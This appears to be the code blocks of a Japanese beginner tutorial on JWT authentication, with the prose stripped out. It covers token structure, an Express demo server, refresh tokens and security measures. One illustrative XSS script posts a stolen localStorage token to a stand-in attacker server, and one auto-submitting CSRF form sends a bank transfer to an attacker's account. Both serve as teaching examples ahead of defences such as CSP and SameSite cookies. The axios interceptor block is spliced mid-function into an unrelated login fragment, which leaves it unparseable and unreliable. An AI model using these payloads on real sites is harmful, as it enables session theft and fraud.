【2025年版】JWT認証を完全マスター!初心者エンジニアのための超わかりやすい実践ガイド

{
  "名前": "山田太郎",
  "年齢": 25,
  "職業": "エンジニア"
}

aaaaa.bbbbb.ccccc

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjM0NSIsIm5hbWUiOiLlsbHnlLAg5aSq6YOOIiwiZXhwIjoxNjQwOTk1MjAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

{
  "alg": "HS256",
  "typ": "JWT"
}

{
  "userId": "12345",
  "name": "山田太郎",
  "role": "user",
  "exp": 1640995200
}

POST /login
{
  "username": "taro",
  "password": "password123"
}

// サーバー側のコード(イメージ)
const token = 作成する({
  userId: "12345",
  username: "taro"
}, 秘密の鍵, 有効期限は1時間);

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

POST /posts
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
{
  "content": "今日はいい天気!"
}

{
  "error": "トークンの有効期限が切れています。再ログインしてください。"
}

ブラウザ: 「セッションID: abc123」
    ↓
サーバーA: メモリを確認「abc123 = 太郎さん」→ OK
サーバーB: メモリを確認「abc123? 知らないぞ」→ NG

ブラウザ: 「JWT: eyJhbG...」
    ↓
サーバーA: 署名を確認「OK、太郎さんだ」→ OK
サーバーB: 署名を確認「OK、太郎さんだ」→ OK

フロントエンド → API: 「投稿一覧をください(JWT添付)」
API → フロントエンド: 「はい、投稿一覧です」

const jwt = require('jsonwebtoken');
const token = jwt.sign({ userId: 123 }, 'secret', { expiresIn: '1h' });

jwt.verify(token, 'secret', (err, decoded) => {
  if (err) console.log('無効なトークン');
  else console.log('OK:', decoded);
});

<script>
  // トークンを盗んで攻撃者のサーバーに送る
  fetch('https://攻撃者のサーバー.com', {
    method: 'POST',
    body: localStorage.getItem('token')
  });
</script>

Content-Security-Policy: script-src 'self'

<form action="https://銀行.com/transfer" method="POST">
  <input name="to" value="攻撃者の口座">
  <input name="amount" value="100000">
</form>
<script>document.forms[0].submit();</script>

Set-Cookie: token=xxx; SameSite=Strict

Strict-Transport-Security: max-age=31536000

// 許可するアルゴリズムを明示
jwt.verify(token, secret, { algorithms: ['HS256'] });

mkdir jwt-auth-demo
cd jwt-auth-demo
npm init -y

npm install express jsonwebtoken bcrypt dotenv

const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
require('dotenv').config();

const app = express();
app.use(express.json()); // JSONを受け取れるようにする

const PORT = 3000;
const SECRET_KEY = process.env.SECRET_KEY || 'your-secret-key-change-this';

// 仮のユーザーデータベース(本番環境では本物のDBを使う)
const users = [];

app.listen(PORT, () => {
  console.log(`サーバーが起動しました: http://localhost:${PORT}`);
});

// ユーザー登録のエンドポイント
app.post('/register', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    // バリデーション(入力チェック)
    if (!username || !password) {
      return res.status(400).json({ 
        error: 'ユーザー名とパスワードは必須です' 
      });
    }
    
    if (password.length < 8) {
      return res.status(400).json({ 
        error: 'パスワードは8文字以上にしてください' 
      });
    }
    
    // 既存ユーザーチェック
    const existingUser = users.find(u => u.username === username);
    if (existingUser) {
      return res.status(409).json({ 
        error: 'このユーザー名は既に使われています' 
      });
    }
    
    // パスワードをハッシュ化(暗号化)
    const hashedPassword = await bcrypt.hash(password, 10);
    
    // 新しいユーザーを追加
    const newUser = {
      id: users.length + 1,
      username: username,
      password: hashedPassword
    };
    users.push(newUser);
    
    res.status(201).json({ 
      message: 'ユーザー登録が完了しました',
      userId: newUser.id 
    });
    
  } catch (error) {
    console.error(error);
    res.status(500).json({ error: 'サーバーエラーが発生しました' });
  }
});

// ログインのエンドポイント
app.post('/login', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    // ユーザーを検索
    const user = users.find(u => u.username === username);
    if (!user) {
      return res.status(401).json({ 
        error: 'ユーザー名またはパスワードが間違っています' 
      });
    }
    
    // パスワードを確認
    const isValidPassword = await bcrypt.compare(password, user.password);
    if (!isValidPassword) {
      return res.status(401).json({ 
        error: 'ユーザー名またはパスワードが間違っています' 
      });
    }
    
    // JWTを生成
    const token = jwt.sign(
      { 
        userId: user.id, 
        username: user.username 
      },
      SECRET_KEY,
      { 
        expiresIn: '1h' // 1時間で期限切れ
      }
    );
    
    res.json({ 
      message: 'ログイン成功',
      token: token 
    });
    
  } catch (error) {
    console.error(error);
    res.status(500).json({ error: 'サーバーエラーが発生しました' });
  }
});

// 認証チェックのミドルウェア
const authenticateToken = (req, res, next) => {
  // Authorizationヘッダーからトークンを取得
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1]; // "Bearer TOKEN"から"TOKEN"部分を取得
  
  if (!token) {
    return res.status(401).json({ 
      error: 'トークンが提供されていません' 
    });
  }
  
  // トークンを検証
  jwt.verify(token, SECRET_KEY, (err, user) => {
    if (err) {
      // トークンが無効または期限切れ
      return res.status(403).json({ 
        error: 'トークンが無効です' 
      });
    }
    
    // トークンが有効なら、ユーザー情報をrequestオブジェクトに追加
    req.user = user;
    next(); // 次の処理へ
  });
};

// 保護されたルート(認証が必要)
app.get('/profile', authenticateToken, (req, res) => {
  // authenticateTokenミドルウェアを通過した場合のみ、ここが実行される
  res.json({
    message: `ようこそ、${req.user.username}さん!`,
    userId: req.user.userId,
    username: req.user.username
  });
});

// 投稿作成のエンドポイント(認証が必要)
app.post('/posts', authenticateToken, (req, res) => {
  const { content } = req.body;
  
  if (!content) {
    return res.status(400).json({ error: '投稿内容は必須です' });
  }
  
  // 実際はデータベースに保存
  res.json({
    message: '投稿が作成されました',
    post: {
      id: Math.random().toString(36).substr(2, 9),
      userId: req.user.userId,
      username: req.user.username,
      content: content,
      createdAt: new Date()
    }
  });
});

// リフレッシュトークンを保存する配列(本番環境ではDBを使う)
const refreshTokens = [];

// ログイン時にアクセストークンとリフレッシュトークンを発行
app.post('/login-with-refresh', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    const user = users.find(u => u.username === username);
    if (!user) {
      return res.status(401).json({ error: '認証に失敗しました' });
    }
    
    const isValidPassword = await bcrypt.compare(password, user.password);
    if (!isValidPassword) {
      return res.status(401).json({ error: '認証に失敗しました' });
    }
    
    // アクセストークン(短命: 15分)
    const accessToken = jwt.sign(
      { userId: user.id, username: user.username },
      SECRET_KEY,
      { expiresIn: '15m' }
    );
    
    // リフレッシュトークン(長命: 7日)
    const refreshToken = jwt.sign(
      { userId: user.id, username: user.username },
      SECRET_KEY,
      { expiresIn: '7d' }
    );
    
    // リフレッシュトークンを保存
    refreshTokens.push(refreshToken);
    
    res.json({ 
      accessToken: accessToken,
      refreshToken: refreshToken
    });
    
  } catch (error) {
    console.error(error);
    res.status(500).json({ error: 'サーバーエラー' });
  }
});

// リフレッシュトークンで新しいアクセストークンを取得
app.post('/refresh', (req, res) => {
  const { refreshToken } = req.body;
  
  if (!refreshToken) {
    return res.status(401).json({ error: 'リフレッシュトークンが必要です' });
  }
  
  // リフレッシュトークンが保存されているか確認
  if (!refreshTokens.includes(refreshToken)) {
    return res.status(403).json({ error: '無効なリフレッシュトークンです' });
  }
  
  // リフレッシュトークンを検証
  jwt.verify(refreshToken, SECRET_KEY, (err, user) => {
    if (err) {
      return res.status(403).json({ error: 'リフレッシュトークンが無効です' });
    }
    
    // 新しいアクセストークンを発行
    const newAccessToken = jwt.sign(
      { userId: user.userId, username: user.username },
      SECRET_KEY,
      { expiresIn: '15m' }
    );
    
    res.json({ accessToken: newAccessToken });
  });
});

// ログアウト(リフレッシュトークンを無効化)
app.post('/logout', (req, res) => {
  const { refreshToken } = req.body;
  
  // リフレッシュトークンを削除
  const index = refreshTokens.indexOf(refreshToken);
  if (index > -1) {
    refreshTokens.splice(index, 1);
  }
  
  res.json({ message: 'ログアウトしました' });
});

curl -X POST http://localhost:3000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"taro","password":"password123"}'

curl -X POST http://localhost:3000/login-with-refresh \
  -H "Content-Type: application/json" \
  -d '{"username":"taro","password":"password123"}'

{
  "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

curl http://localhost:3000/profile \
  -H "Authorization: Bearer YOUR_ACCESS_TOKEN"

curl -X POST http://localhost:3000/refresh \
  -H "Content-Type: application/json" \
  -d '{"refreshToken":"YOUR_REFRESH_TOKEN"}'

// Firebaseでのログイン
firebase.auth().signInWithEmailAndPassword(email, password)
  .then((userCredential) => {
    // JWTを取得
    userCredential.user.getIdToken().then((token) => {
      console.log('JWT:', token);
      // このトークンをAPIリクエストに使用
    });
  });

// GitHub AppでJWTを生成
const jwt = require('jsonwebtoken');
const fs = require('fs');

const privateKey = fs.readFileSync('private-key.pem');

const token = jwt.sign(
  {
    iss: GITHUB_APP_ID,
    iat: Math.floor(Date.now() / 1000),
    exp: Math.floor(Date.now() / 1000) + (10 * 60)
  },
  privateKey,
  { algorithm: 'RS256' }
);

const payload = {
  userId: "12345",
  role: "user"
};

const payload = {
  userId: "12345",
  username: "taro",
  email: "taro@example.com",
  password: "password123", // 絶対にダメ!
  creditCard: "1234-5678-9012-3456", // 絶対にダメ!
  address: "東京都渋谷区...",
  phoneNumber: "090-1234-5678"
};

const crypto = require('crypto');
const secretKey = crypto.randomBytes(64).toString('hex');
console.log(secretKey);

SECRET_KEY=あなたが生成した長いランダムな文字列
REFRESH_SECRET_KEY=別の長いランダムな文字列

const SECRET_KEY = 'secret'; // 短すぎる!
const SECRET_KEY = 'password'; // 推測されやすい!

const https = require('https');
const fs = require('fs');

const options = {
  key: fs.readFileSync('/path/to/privkey.pem'),
  cert: fs.readFileSync('/path/to/fullchain.pem')
};

https.createServer(options, app).listen(443);

jwt.verify(token, SECRET_KEY, { algorithms: ['HS256'] });

jwt.verify(token, SECRET_KEY); // アルゴリズムを指定していない

# 定期的にアップデート
npm update jsonwebtoken

if (!user) {
  return res.status(401).json({ error: 'ユーザーが存在しません' });
}
if (!isValidPassword) {
  return res.status(401).json({ error: 'パスワードが間違っています' });
}

if (!user || !isValidPassword) {
  return res.status(401).json({ 
    error: 'ユーザー名またはパスワードが間違っています' 
  });
}

const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15分
  max: 5, // 最大5回まで
  message: 'ログイン試行が多すぎます。15分後に再試行してください。'
});

app.post('/login', loginLimiter, async (req, res) => {
  // ログイン処理
});

// ユーザーデータにtokenVersionを追加
const user = {
  id: 1,
  username: 'taro',
  password: 'hashed_password',
  tokenVersion: 1 // これを追加
};

// トークン生成時にバージョンを含める
const token = jwt.sign(
  { 
    userId: user.id, 
    username: user.username,
    tokenVersion: user.tokenVersion 
  },
  SECRET_KEY,
  { expiresIn: '15m' }
);

// 検証時にバージョンをチェック
const authenticateToken = (req, res, next) => {
  const token = req.headers['authorization']?.split(' ')[1];
  
  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    // データベースから最新のtokenVersionを取得
    const user = users.find(u => u.id === decoded.userId);
    
    if (user.tokenVersion !== decoded.tokenVersion) {
      return res.status(403).json({ error: 'トークンが無効化されました' });
    }
    
    req.user = decoded;
    next();
  });
};

// パスワード変更時にバージョンを上げる
app.post('/change-password', authenticateToken, async (req, res) => {
  const user = users.find(u => u.id === req.user.userId);
  user.tokenVersion++; // バージョンを上げる
  // パスワード更新処理...
  res.json({ message: 'パスワードを変更しました。再ログインしてください。' });
});

const winston = require('winston');

const logger = winston.createLogger({
  transports: [
    new winston.transports.File({ filename: 'auth.log' })
  ]
});

app.post('/login', async (req, res) => {
  const { username } = req.body;
  
  logger.info(`ログイン試行: ${username} from ${req.ip}`);
  
  // ログイン処理...
  
  if (loginSuccess) {
    logger.info(`ログイン成功: ${username}`);
  } else {
    logger.warn(`ログイン失敗: ${username} from ${req.ip}`);
  }
});

ユーザー → サーバー: ユーザー名とパスワード
サーバー → ユーザー: アクセストークン(15分) + リフレッシュトークン(7日)

ユーザー → サーバー: アクセストークンを添付してリクエスト
サーバー → ユーザー: データを返す

ユーザー → サーバー: アクセストークンを添付
サーバー → ユーザー: 「トークンが期限切れです」

ユーザー → サーバー: リフレッシュトークンを送信
サーバー → ユーザー: 新しいアクセストークン(15分)

ユーザー → サーバー: 新しいアクセストークンでリクエスト
サーバー → ユーザー: データを返す

import axios from 'axios';

// アクセストークンとリフレッシュトークンを保存
let accessToken = localStorage.getItem('accessToken');
let refreshToken = localStorage.getItem('refreshToken');

// Axiosインスタンスを作成
const api = axios.create({
  baseURL: 'http://localhost:3000'
});

// リクエストごとにアクセストークンを添付
api.interceptors.request.use((config) => {
  if (accessToken) {
    config.headers.Authorization = `Bearer ${accessToken}`;
  }
  return config;
});

// レスポンスを監視して、401エラーなら自動的にリフレッシュ
api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config;
    
    // 401エラーでまだリトライしていない場合
    if (error.response?.status === 401 && !originalRequest._retry) {
      originalRequest._retry = true;
      
      try {
        // リフレッシュトークンで新しいアクセストークンを取得
        const response = await axios.post('http://localhost:3000/refresh', {
          refreshToken: refreshToken
        });
        
        accessToken = response.data.accessToken;
        localStorage.setItem('accessToken', accessToken);
  localStorage.setItem('refreshToken', refreshToken);
  
  console.log('ログイン成功');
}

// ログアウト関数
async function logout() {
  await axios.post('http://localhost:3000/logout', {
    refreshToken: refreshToken
  });
  
  localStorage.removeItem('accessToken');
  localStorage.removeItem('refreshToken');
  accessToken = null;
  refreshToken = null;
  
  console.log('ログアウトしました');
}

// 使用例
api.get('/profile').then((response) => {
  console.log('プロフィール:', response.data);
});

app.post('/refresh', (req, res) => {
  const { refreshToken } = req.body;
  
  if (!refreshTokens.includes(refreshToken)) {
    return res.status(403).json({ error: '無効なトークン' });
  }
  
  jwt.verify(refreshToken, SECRET_KEY, (err, user) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    // 古いリフレッシュトークンを削除
    const index = refreshTokens.indexOf(refreshToken);
    refreshTokens.splice(index, 1);
    
    // 新しいアクセストークンを発行
    const newAccessToken = jwt.sign(
      { userId: user.userId, username: user.username },
      SECRET_KEY,
      { expiresIn: '15m' }
    );
    
    // 新しいリフレッシュトークンも発行
    const newRefreshToken = jwt.sign(
      { userId: user.userId, username: user.username },
      SECRET_KEY,
      { expiresIn: '7d' }
    );
    
    // 新しいリフレッシュトークンを保存
    refreshTokens.push(newRefreshToken);
    
    res.json({ 
      accessToken: newAccessToken,
      refreshToken: newRefreshToken
    });
  });
});

res.cookie('token', token, {
  httpOnly: true,  // JavaScriptからアクセス不可
  secure: true,    // HTTPS経由でのみ送信
  sameSite: 'strict',  // CSRF攻撃対策
  maxAge: 3600000  // 1時間
});

// ログイン時に、デバイス情報も含める
const token = jwt.sign(
  { 
    userId: user.id, 
    deviceId: req.body.deviceId 
  },
  SECRET_KEY,
  { expiresIn: '1h' }
);

// リフレッシュトークンもデバイスごとに管理
const refreshTokens = [
  { token: 'xxx', userId: 1, deviceId: 'iPhone-12' },
  { token: 'yyy', userId: 1, deviceId: 'MacBook-Pro' }
];

const authenticateToken = (req, res, next) => {
  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    // IPアドレスをチェック
    const user = users.find(u => u.id === decoded.userId);
    if (user.lastIP !== req.ip) {
      // 異なるIPからのアクセスを検出
      logger.warn(`異なるIPからのアクセス: ${user.username}`);
      // メール通知などを送る
    }
    
    user.lastIP = req.ip;
    req.user = decoded;
    next();
  });
};

// フロントエンド(React)での実装
import { useEffect } from 'react';

function TokenRefresher() {
  useEffect(() => {
    // 10分ごとにトークンをリフレッシュ
    const interval = setInterval(async () => {
      try {
        const refreshToken = localStorage.getItem('refreshToken');
        const response = await fetch('http://localhost:3000/refresh', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ refreshToken })
        });
        
        const data = await response.json();
        localStorage.setItem('accessToken', data.accessToken);
        console.log('トークンを自動更新しました');
      } catch (error) {
        console.error('トークン更新に失敗:', error);
      }
    }, 10 * 60 * 1000); // 10分
    
    return () => clearInterval(interval);
  }, []);
  
  return null;
}

// 権限チェックのミドルウェア
const requireRole = (role) => {
  return (req, res, next) => {
    if (req.user.role !== role) {
      return res.status(403).json({ 
        error: 'この操作を行う権限がありません' 
      });
    }
    next();
  };
};

// 管理者のみがアクセスできるエンドポイント
app.delete('/users/:id', authenticateToken, requireRole('admin'), (req, res) => {
  // ユーザー削除処理
  res.json({ message: 'ユーザーを削除しました' });
});

// 複数の権限を許可する場合
const requireAnyRole = (...roles) => {
  return (req, res, next) => {
    if (!roles.includes(req.user.role)) {
      return res.status(403).json({ error: '権限がありません' });
    }
    next();
  };
};

app.post('/posts', authenticateToken, requireAnyRole('admin', 'editor'), (req, res) => {
  // 投稿作成処理
});

// ログイン時に、ユーザーのプランも含める
const token = jwt.sign(
  {
    userId: user.id,
    username: user.username,
    plan: user.plan, // 'free', 'premium', 'enterprise'
    permissions: user.permissions // ['read', 'write', 'delete']
  },
  SECRET_KEY,
  { expiresIn: '15m' }
);

// プレミアムユーザーのみがアクセスできる機能
const requirePremium = (req, res, next) => {
  if (req.user.plan === 'free') {
    return res.status(403).json({ 
      error: 'この機能はプレミアムプランでのみ利用できます' 
    });
  }
  next();
};

app.get('/premium-content', authenticateToken, requirePremium, (req, res) => {
  res.json({ content: 'プレミアムコンテンツ' });
});

const crypto = require('crypto');

// フィンガープリントを生成
function generateFingerprint(req) {
  const userAgent = req.headers['user-agent'];
  const ip = req.ip;
  const data = `${userAgent}-${ip}`;
  return crypto.createHash('sha256').update(data).digest('hex');
}

// ログイン時
app.post('/login', async (req, res) => {
  // 認証処理...
  
  const fingerprint = generateFingerprint(req);
  
  const token = jwt.sign(
    { 
      userId: user.id, 
      username: user.username,
      fingerprint: fingerprint
    },
    SECRET_KEY,
    { expiresIn: '15m' }
  );
  
  res.json({ token });
});

// リクエスト時にフィンガープリントを確認
const authenticateToken = (req, res, next) => {
  const token = req.headers['authorization']?.split(' ')[1];
  
  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    const currentFingerprint = generateFingerprint(req);
    
    if (decoded.fingerprint !== currentFingerprint) {
      return res.status(403).json({ 
        error: 'トークンが別のデバイスで使われています' 
      });
    }
    
    req.user = decoded;
    next();
  });
};

// パスワードリセット用のトークン
app.post('/forgot-password', async (req, res) => {
  const { email } = req.body;
  const user = users.find(u => u.email === email);
  
  if (!user) {
    return res.json({ message: 'メールを送信しました' }); // セキュリティのため、ユーザーの存在を明かさない
  }
  
  // 1回だけ使えるトークンを生成
  const resetToken = jwt.sign(
    { 
      userId: user.id, 
      purpose: 'password-reset',
      nonce: crypto.randomBytes(16).toString('hex') // ランダムな値を含める
    },
    SECRET_KEY,
    { expiresIn: '1h' }
  );
  
  // トークンをメールで送信
  sendEmail(user.email, `パスワードリセットURL: /reset-password?token=${resetToken}`);
  
  res.json({ message: 'パスワードリセット用のメールを送信しました' });
});

// パスワードリセット
const usedTokens = new Set(); // 使用済みトークンを記録

app.post('/reset-password', (req, res) => {
  const { token, newPassword } = req.body;
  
  // トークンが既に使われているかチェック
  if (usedTokens.has(token)) {
    return res.status(400).json({ error: 'このトークンは既に使用されています' });
  }
  
  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    if (decoded.purpose !== 'password-reset') {
      return res.status(403).json({ error: '不正なトークンです' });
    }
    
    // パスワードを更新
    const user = users.find(u => u.id === decoded.userId);
    user.password = bcrypt.hashSync(newPassword, 10);
    
    // トークンを使用済みとしてマーク
    usedTokens.add(token);
    
    res.json({ message: 'パスワードをリセットしました' });
  });
});

// トークン生成時の秘密鍵
const token = jwt.sign(payload, 'secret-key-1', { expiresIn: '1h' });

// 検証時の秘密鍵(一致する必要がある)
jwt.verify(token, 'secret-key-1', callback); // OK
jwt.verify(token, 'secret-key-2', callback); // NG - エラーになる

// エラーを適切に処理
jwt.verify(token, SECRET_KEY, (err, decoded) => {
  if (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ 
        error: 'トークンの有効期限が切れました',
        code: 'TOKEN_EXPIRED'
      });
    }
    return res.status(403).json({ error: '無効なトークン' });
  }
  // 正常処理
});

// ミス1: "Bearer "を含めて検証しようとしている
const authHeader = req.headers['authorization']; // "Bearer eyJhbG..."
jwt.verify(authHeader, SECRET_KEY, callback); // NG

// 正しい方法
const token = authHeader.split(' ')[1]; // "eyJhbG..."
jwt.verify(token, SECRET_KEY, callback); // OK

// ミス2: トークンが空
const token = undefined;
jwt.verify(token, SECRET_KEY, callback); // NG

const cors = require('cors');

// すべてのドメインを許可(開発環境のみ)
app.use(cors());

// 特定のドメインのみ許可(本番環境推奨)
app.use(cors({
  origin: 'https://your-frontend.com',
  credentials: true // Cookieを使う場合は必須
}));

// ミス
if (!token) {
  res.status(401).json({ error: 'トークンがありません' });
}
// この後もコードが続行され、再度レスポンスを送ろうとする

// 正しい方法
if (!token) {
  return res.status(401).json({ error: 'トークンがありません' });
  // returnを使って処理を終了
}